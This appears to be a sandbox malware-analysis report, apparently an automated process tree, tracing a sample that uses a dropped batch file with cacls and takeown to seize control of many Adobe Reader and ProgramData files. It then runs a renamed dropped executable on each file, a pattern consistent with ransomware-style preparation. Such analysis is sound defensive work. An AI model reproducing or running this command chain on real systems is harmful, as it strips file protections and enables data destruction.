C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "open_original_form.gif" -nobanner3⤵
- Loads dropped DLL
PID:1000 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "open_original_form.gif" -nobanner4⤵
- Executes dropped EXE
PID:1096
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1352
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif""2⤵
- Loads dropped DLL
PID:1376 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif" /E /G Admin:F /C3⤵PID:2004
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif"3⤵PID:1264
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "rss.gif" -nobanner3⤵
- Loads dropped DLL
PID:1528 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "rss.gif" -nobanner4⤵
- Executes dropped EXE
PID:740
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1460
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif""2⤵
- Loads dropped DLL
PID:1404 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif" /E /G Admin:F /C3⤵PID:204
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif"3⤵
- Modifies file permissions
PID:1592
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "turnOffNotificationInTray.gif" -nobanner3⤵
- Loads dropped DLL
PID:1512 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "turnOffNotificationInTray.gif" -nobanner4⤵
- Executes dropped EXE
PID:2028
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1320
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf""2⤵
- Loads dropped DLL
PID:1280 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf" /E /G Admin:F /C3⤵PID:212
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf"3⤵PID:236
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "CourierStd-Oblique.otf" -nobanner3⤵
- Loads dropped DLL
PID:1768 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "CourierStd-Oblique.otf" -nobanner4⤵
- Executes dropped EXE
PID:1684
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1596
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM""2⤵
- Loads dropped DLL
PID:1672 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM" /E /G Admin:F /C3⤵PID:224
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM"3⤵PID:1348
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "SY______.PFM" -nobanner3⤵
- Loads dropped DLL
PID:228 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "SY______.PFM" -nobanner4⤵
- Executes dropped EXE
PID:1352
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1784
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt""2⤵PID:1508
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt" /E /G Admin:F /C3⤵PID:1112
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt"3⤵PID:1052
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "DisplayLanguageNames.en_US.txt" -nobanner3⤵PID:1764
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "DisplayLanguageNames.en_US.txt" -nobanner4⤵
- Executes dropped EXE
PID:1460
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1376
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp""2⤵PID:1964
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp" /E /G Admin:F /C3⤵PID:1992
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp"3⤵
- Modifies file permissions
PID:1860
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "can129.hsp" -nobanner3⤵PID:1200
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "can129.hsp" -nobanner4⤵PID:1320
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1404
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat""2⤵PID:1632
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat" /E /G Admin:F /C3⤵PID:592
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat"3⤵PID:832
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "icudt26l.dat" -nobanner3⤵PID:1500
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "icudt26l.dat" -nobanner4⤵PID:1596
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1280
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT""2⤵PID:1456
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT" /E /G Admin:F /C3⤵PID:232
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT"3⤵
- Modifies file permissions
PID:1252
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "ROMANIAN.TXT" -nobanner3⤵PID:2012
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:960
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT""2⤵PID:972
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT" /E /G Admin:F /C3⤵PID:1052
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT"3⤵PID:1460
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "CP1258.TXT" -nobanner3⤵PID:1764
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "CP1258.TXT" -nobanner4⤵PID:568
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1816
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""2⤵PID:1756
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C3⤵PID:1860
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1320
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "background.png" -nobanner3⤵PID:2024
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "background.png" -nobanner4⤵PID:1404
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1964
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml""2⤵PID:212
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml" /E /G Admin:F /C3⤵PID:1520
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2000
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "tasks.xml" -nobanner3⤵PID:1280
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "tasks.xml" -nobanner4⤵PID:1780
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:224
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat""2⤵PID:232
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat" /E /G Admin:F /C3⤵PID:712
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat"3⤵
- Modifies file permissions
PID:1672
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "qmgr0.dat" -nobanner3⤵PID:1348
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "qmgr0.dat" -nobanner4⤵PID:1456
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:740
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif""2⤵PID:1052
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif" /E /G Admin:F /C3⤵PID:568
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif"3⤵PID:1104
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "ended_review_or_form.gif" -nobanner3⤵PID:1816
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "ended_review_or_form.gif" -nobanner4⤵PID:2004
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "MinionPro-Bold.otf" -nobanner4⤵PID:1148
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1248
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif""2⤵PID:296
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif" /E /G Admin:F /C3⤵PID:1592
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif"3⤵
- Modifies file permissions
PID:2024
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "reviewers.gif" -nobanner3⤵PID:220
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "reviewers.gif" -nobanner4⤵PID:1512
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1992
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif""2⤵PID:1596
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif" /E /G Admin:F /C3⤵PID:540
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif"3⤵
- Modifies file permissions
PID:236
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "server_lg.gif" -nobanner3⤵PID:1048
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "server_lg.gif" -nobanner4⤵PID:224
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:212
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif""2⤵PID:1448
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif" /E /G Admin:F /C3⤵PID:1268
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif"3⤵
- Modifies file permissions
PID:1096
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "turnOnNotificationInTray.gif" -nobanner3⤵PID:1536
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "turnOnNotificationInTray.gif" -nobanner4⤵PID:740
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:232
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf""2⤵PID:1460
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf" /E /G Admin:F /C3⤵PID:1292
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf"3⤵
- Modifies file permissions
PID:2004
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "MinionPro-Bold.otf" -nobanner3⤵PID:1816
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:216
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm""2⤵PID:1068
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm" /E /G Admin:F /C3⤵PID:2024
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm"3⤵PID:1512
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "zy______.pfm" -nobanner3⤵PID:220
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "zy______.pfm" -nobanner4⤵PID:2028
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1860
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca""2⤵PID:1200
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca" /E /G Admin:F /C3⤵PID:236
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca"3⤵
- Modifies file permissions
PID:224
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "brt.fca" -nobanner3⤵PID:1048
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "brt.fca" -nobanner4⤵PID:1768
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1988
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp""2⤵PID:1520
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp" /E /G Admin:F /C3⤵PID:1096
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp"3⤵PID:740
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "eng.hyp" -nobanner3⤵PID:1536
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "eng.hyp" -nobanner4⤵PID:1396
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:896
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt""2⤵PID:2012
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt" /E /G Admin:F /C3⤵PID:2004
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt"3⤵PID:1148
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "zdingbat.txt" -nobanner3⤵PID:1816
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "zdingbat.txt" -nobanner4⤵PID:1052
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1764
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT""2⤵PID:1876
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT" /E /G Admin:F /C3⤵PID:1964
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT"3⤵PID:1992
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "TURKISH.TXT" -nobanner3⤵PID:592
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "TURKISH.TXT" -nobanner4⤵PID:1320
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1592
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml""2⤵PID:920
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml" /E /G Admin:F /C3⤵PID:1352
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:212
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "resource.xml" -nobanner3⤵PID:1048
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "resource.xml" -nobanner4⤵PID:1596
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1136
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml""2⤵PID:1780
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml" /E /G Admin:F /C3⤵PID:740
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1396
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "resource.xml" -nobanner3⤵PID:1672
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "resource.xml" -nobanner4⤵PID:896
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1520
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png""2⤵PID:1528
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G Admin:F /C3⤵PID:1508
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1376
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "watermark.png" -nobanner3⤵PID:1460
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "watermark.png" -nobanner4⤵PID:1112
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1292
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml""2⤵PID:996
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml" /E /G Admin:F /C3⤵PID:296
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:592
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "resource.xml" -nobanner3⤵PID:1592
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "resource.xml" -nobanner4⤵PID:1404
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:564
-
-
-
